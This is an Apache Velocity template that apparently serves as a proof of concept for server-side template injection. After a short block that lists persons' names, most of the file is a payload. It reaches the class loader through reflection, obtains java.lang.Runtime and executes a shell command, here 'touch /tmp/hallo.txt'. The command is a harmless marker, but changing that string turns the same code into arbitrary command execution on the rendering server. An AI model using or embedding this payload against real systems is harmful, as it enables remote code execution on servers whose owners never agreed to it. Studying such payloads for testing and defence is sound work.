<fieldset>
 <legend>persons</legend>
  <ul>
   #foreach( $person in $persons )
    <li>
     ${person.lastName},
     ${person.firstName}
    </li>
  #end
  #set($a="")

 </ul>
</fieldset>


#set($start = "")
#set($classLoaderMethod =$start.getClass().getClass().getDeclaredMethod("getClassLoader", null))
$classLoaderMethod.setAccessible(true)
#set($appClassLoader=$classLoaderMethod.invoke(${persons.get(0).getClass()},null))


#set($runtTimeClass = $appClassLoader.loadClass("java.lang.Runtime"))
#set($runtimedMethod = $runtTimeClass.getDeclaredMethod("getRuntime", null))
#set($runtimedMethodExecuted = $runtimedMethod.invoke($runtTimeClass, null))
#set($stringClass = $appClassLoader.loadClass("java.lang.String"))
$runtimedMethodExecuted.getClass().getDeclaredMethod("exec", $stringClass).invoke($runtimedMethodExecuted, "touch /tmp/hallo.txt")